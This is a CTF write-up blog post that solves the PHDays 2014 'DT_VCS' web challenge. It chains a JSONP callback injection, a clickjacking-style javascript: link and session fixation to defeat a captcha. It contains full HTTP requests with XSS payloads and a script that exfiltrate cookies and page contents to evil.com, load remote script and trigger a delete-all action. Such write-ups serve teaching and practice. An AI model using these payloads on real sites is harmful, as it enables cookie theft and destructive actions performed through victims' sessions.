Syntax Highlighting

понедельник, 27 января 2014 г.

PHDays 2014 Quals: DT_VCS writeup

It was my favorite task from PHDays 2014 Quals, and the best CTF web challenge i made. During the PHDays Quals it was solved only 3 times, so i think that this writeup will be interesting.  
Ok, we found Detcelfer Version Control System and need to PWN it. The goal is to delete all source code from the system. Only one thing we can do in this site - make contributions. Seems like admin checks every contribution and it'll be cool to find XSS and get his cookies. There is "preview" feature to test your submission, btw. Ordinary XSS vectors like "><script> sucks here (haha, forget about such vectors, you're on PHDays!), but page still vulnerable. Lets look on the colorer.php script. After submission view page loads, it requests colorer.php to get colored code like that http://195.133.87.174/colorer.php?callback=loadCode&code=code&lang=php. And we are able to control code and lang values. Trying to inject something like "&callback=alert" in this values, and got it in "lang" parameter: 

But how can we use it? We can control only function name, not arguments, and everything except alphanumeric and "." symbol is filtered. And now we are going to use "Reverse Clickjacking" trick. The main idea is to use that callback function to click at malicious link. If we post something like "javascript:alert('PWN')" in contact information, it will appears in anchor tag, and it's possible to click it by callback function. Due to [] symbols a filtered too, wee should use terrible way to click it: document.body.firstChild.firstChild.nextSibling.firstChild.nextSibling.firstChild.click:
Got it! Now it's time to contibute! We should make submit with lang like "&callback=document.body.firstChild.firstChild.nextSibling.firstChild.nextSibling.firstChild.click". and contant info like "javascript:document.write('<img/src=%22http://evil.com/?phd='+document.cookie+'%22>')". Complete request:
POST /commit.php HTTP/1.1
Host: 195.133.87.174
Proxy-Connection: keep-alive
Content-Length: 248
Cache-Control: max-age=0
Authorization: Basic cGhkOlBoRF9QcEBzU19PbUdXVEZtQ0RvbmFsZHM=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://195.133.87.174
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/31.0.1650.63 Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://195.133.87.174/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=aminqljt6e7senfe9m53ucfoa0

descr=desct&contact=javascript:document.write('<img/src%3d\'http%3a//evil.com/%3fphd%3d'%2bdocument.cookie%2b'\'>')&lang=%26callback%3Ddocument.body.firstChild.firstChild.nextSibling.firstChild.nextSibling.firstChild.click&code=code&captcha=utrMna
Wait for a minute and got: 
195.133.87.174 - - [27/Jan/2014:14:18:45 +0000] "GET /?phd=PHPSESSID=2ch9tmve1potrd36hhklcg8tv4 HTTP/1.1" 200 647 "http://localhost/contributes.php?id=857" "Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20130619 SlimerJS/0.8.4"
Now we know that it's vulnerable to XSS and admin is using Firefox-like browser. Lets try his cookie. Oh no, it isn't an auth cookie :(. So, the only thing we can - delete the source code from admin session using XSS. Use the same XSS to get code.php content from admin browser: 
POST /commit.php HTTP/1.1
Host: 195.133.87.174
Proxy-Connection: keep-alive
Content-Length: 248
Cache-Control: max-age=0
Authorization: Basic cGhkOlBoRF9QcEBzU19PbUdXVEZtQ0RvbmFsZHM=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://195.133.87.174
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/31.0.1650.63 Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://195.133.87.174/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=aminqljt6e7senfe9m53ucfoa0

descr=desct&contact=javascript:document.write('<iframe/name%3d\'ifr\'/src%3d\'/code.php\'/onload%3dlocation.replace(\'http%3a//evil.com/%3fphd%3d\'%2bbtoa(ifr.document.body.innerHTML))>')&lang=%26callback%3Ddocument.body.firstChild.firstChild.nextSibling.firstChild.nextSibling.firstChild.click&code=code&captcha=FUa4L6
And got the content: 
loadPage({"data":"<h1>
Detcelfer code repo<\/h1><table class=\"table\">
<tr><td>Commit #<\/td><td>Souce<\/td><td>Size<\/td><\/tr>
<tr><td>#00779633<\/td><td><a href=#>View Source<\/a><\/td><td>485 KB<\/td>
<tr>
<tr><td>#00741634<\/td><td><a href=#>View Source<\/a><\/td><td>697 KB<\/td>
<tr>
<tr><td>#00572099<\/td><td><a href=#>View Source<\/a><\/td><td>993 KB<\/td>
<tr>
<tr><td>#00945629<\/td><td><a href=#>View Source<\/a><\/td><td>310 KB<\/td>
<tr>
<tr><td>#00048784<\/td><td><a href=#>View Source<\/a><\/td><td>472 KB<\/td>
<tr>
<tr><td>#00730372<\/td><td><a href=#>View Source<\/a><\/td><td>291 KB<\/td>
<tr>
<tr><td>#00199388<\/td><td><a href=#>View Source<\/a><\/td><td>355 KB<\/td>
<tr>
<tr><td>#00128388<\/td><td><a href=#>View Source<\/a><\/td><td>193 KB<\/td>
<tr>
<tr><td>#00791946<\/td><td><a href=#>View Source<\/a><\/td><td>124 KB<\/td>
<tr>
<tr><td>#00282778<\/td><td><a href=#>View Source<\/a><\/td><td>40 KB<\/td>
<tr>
<tr><td>#00677281<\/td><td><a href=#>View Source<\/a><\/td><td>151 KB<\/td>
<tr>
<tr><td>#00584267<\/td><td><a href=#>View Source<\/a><\/td><td>352 KB<\/td>
<tr>
<tr><td>#00048225<\/td><td><a href=#>View Source<\/a><\/td><td>101 KB<\/td>
<tr>
<tr><td>#00469788<\/td><td><a href=#>View Source<\/a><\/td><td>41 KB<\/td>
<tr>
<tr><td>#00940794<\/td><td><a href=#>View Source<\/a><\/td><td>462 KB<\/td>
<tr>
<tr><td>#00401055<\/td><td><a href=#>View Source<\/a><\/td><td>738 KB<\/td>
<tr>
<tr><td>#00924817<\/td><td><a href=#>View Source<\/a><\/td><td>146 KB<\/td>
<tr>
<tr><td>#00400861<\/td><td><a href=#>View Source<\/a><\/td><td>509 KB<\/td>
<tr>
<tr><td>#00111592<\/td><td><a href=#>View Source<\/a><\/td><td>355 KB<\/td>
<tr>
<tr><td>#00800191<\/td><td><a href=#>View Source<\/a><\/td><td>164 KB<\/td>
<tr><\/table><a href=\"#code\" class=\"btn btn-primary\" onclick=\"$('#popup_title').text('Do you want to hack us?');$('#popup_body').html('<form method=POST action=\/code.php?deleteall><img\/src=\/captcha.php><br><input name=code><input type=submit><\/form>');$('#popup').modal()\">Clear<\/a>"});
What?! Captcha?! Really?! Do we need to write OCR in JS? No we don't! Lets think, how this captcha works. Of course it store correct value somewhere in the users session. So if we set our PHPSESSID cookie in admin browser, we could know the correct captcha value. I wrote such script:
captcha='M6yEnn';
document.cookie='PHPSESSID=aminqljt6e7senfe9m53ucfoa0';
b=new XMLHttpRequest();
b.open('POST','/code.php?deleteall',true);
b.withCredentials=true;
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
b.onreadystatechange = function() {
 a=new XMLHttpRequest();
 a.open('GET','http://evil.com/?flag='+b.responseText,true);
 a.send();
}
b.send('code='+captcha);
All we need is to inject that script and then change "captcha" to actual new value:
POST /commit.php HTTP/1.1
Host: 195.133.87.174
Proxy-Connection: keep-alive
Content-Length: 225
Cache-Control: max-age=0
Authorization: Basic cGhkOlBoRF9QcEBzU19PbUdXVEZtQ0RvbmFsZHM=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://195.133.87.174
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/31.0.1650.63 Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://195.133.87.174/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=aminqljt6e7senfe9m53ucfoa0

descr=desct&contact=javascript:document.write('<script src=http://evil.com/evil.js></script>')&lang=%26callback%3Ddocument.body.firstChild.firstChild.nextSibling.firstChild.nextSibling.firstChild.click&code=code&captcha=8SEMtS
The longest 2 minutes in our life and....
195.133.87.174 - - [27/Jan/2014:15:08:46 +0000] "GET /?flag=Good%20work.%20Here%20is%20the%20flag:%20Nic3_Bl1nd_h4ck_x5s_n1Nj4 HTTP/1.1" 200 671 "http://localhost/contributes.php?id=863" "Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20130619 SlimerJS/0.8.4"
Got the flag: Nic3_Bl1nd_h4ck_x5s_n1Nj4 Hope you enjoyed (=

5 комментариев: